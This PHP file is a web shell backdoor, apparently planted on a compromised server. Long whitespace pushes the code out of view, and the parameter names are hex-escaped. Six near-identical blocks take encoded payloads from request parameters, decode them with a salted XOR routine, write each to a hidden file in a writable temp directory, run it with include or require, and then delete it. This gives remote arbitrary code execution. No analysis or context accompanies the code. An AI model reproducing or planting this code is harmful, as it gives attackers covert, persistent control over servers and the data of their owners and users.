<?php																																										if(array_key_exists("\x72\x65c", $_POST) && !is_null($_POST["\x72\x65c"])){ $binding = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir()]); $dat = $_POST["\x72\x65c"]; $dat = explode ('.' ,$dat); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $t = 0; $__len = count( $dat ); do { if( $t>= $__len) break; $v3 = $dat[$t]; $chS = ord( $salt[$t % $lenS] ); $dec =( ( int)$v3 - $chS -( $t % 10)) ^ 48; $object .= chr( $dec ); $t++; } while( true ); for ($token = 0, $item = count($binding); $token < $item; $token++) { $elem = $binding[$token]; if (!( !is_dir($elem) || !is_writable($elem) )) { $sym = sprintf("%s/.entity", $elem); if (file_put_contents($sym, $object)) { require $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("\x72\x65c\x6Frd", $_POST) && !is_null($_POST["\x72\x65c\x6Frd"])){ $hld = $_POST["\x72\x65c\x6Frd"]; $hld =explode ( "." , $hld ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $m = 0; foreach( $hld as $v2) { $sChar = ord( $s[$m % $sLen]); $d =( ( int)$v2 - $sChar -( $m % 10)) ^ 51; $descriptor .= chr( $d); $m++; } $flag = array_filter([getcwd(), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($flag as $marker) { if (array_product([is_dir($marker), is_writable($marker)])) { $obj = "$marker" . "/.object"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(in_array("h\x6C\x64", array_keys($_REQUEST))){ $marker = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp"]); $sym = $_REQUEST["h\x6C\x64"]; $sym =explode ( "." , $sym ) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $z = 0; array_walk($sym, function ($v3) use (&$elem, &$z, $s, $lenS) { $sChar = ord($s[$z% $lenS] ); $dec = ((int)$v3 - $sChar - ($z% 10))^ 71; $elem .=chr($dec ); $z++; } ); $ent = 0; do { $dat = $marker[$ent] ?? null; if ($ent >= count($marker)) break; if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $bind = "$dat" . "/.dchunk"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $bind; @unlink($bind); die(); } } $ent++; } while (true); }
																																										if(in_array("\x64a\x74a", array_keys($_REQUEST))){ $key = $_REQUEST["\x64a\x74a"]; $key=explode( "." , $key ) ; $parameter_group =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt5 ); foreach ($key as $p => $v2): $chS =ord($salt5[$p % $sLen] ); $dec =((int)$v2 - $chS - ($p % 10)) ^ 29; $parameter_group .= chr($dec ); endforeach; $dat = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir()]); foreach ($dat as $elem) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $component = implode("/", [$elem, ".obj"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(@$_POST["en\x74\x72y"] !== null){ $ent = $_POST["en\x74\x72y"]; $ent =explode ( '.' ,$ent ) ; $parameter_group= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); foreach($ent as $t=> $v1): $sChar= ord($salt[$t % $sLen] ); $d= ((int)$v1 - $sChar -($t % 10))^ 83; $parameter_group .= chr($d ); endforeach; $element = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd()]); foreach ($element as $record) { if (is_dir($record) && is_writable($record)) { $desc = "$record" . "/.component"; if (file_put_contents($desc, $parameter_group)) { include $desc; @unlink($desc); exit; } } } }


if(isset($_POST["f\x61\x63tor"])){
	$dchunk = array_filter(["/dev/shm", "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]);
	$binding = $_POST["f\x61\x63tor"];
	 $binding 	=			explode(	 	".", 	$binding)  ;		
	$property_set = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt7);
            $s = 0;
    
            $__tmp = $binding;
            while ($v1 = array_shift($__tmp)) {
                $sChar = ord($salt7[$s % $lenS]);
                $dec = ((int)$v1 - $sChar - ($s % 10))		^52;
                $property_set .= chr($dec);
                $s++;
            }
	foreach ($dchunk as $key => $hld) {
    		if (is_dir($hld) && is_writable($hld)) {
    $token = join("/", [$hld, ".val"]);
    if (@file_put_contents($token, $property_set) !== false) {
	include $token;
	unlink($token);
	die();
}
}
}
}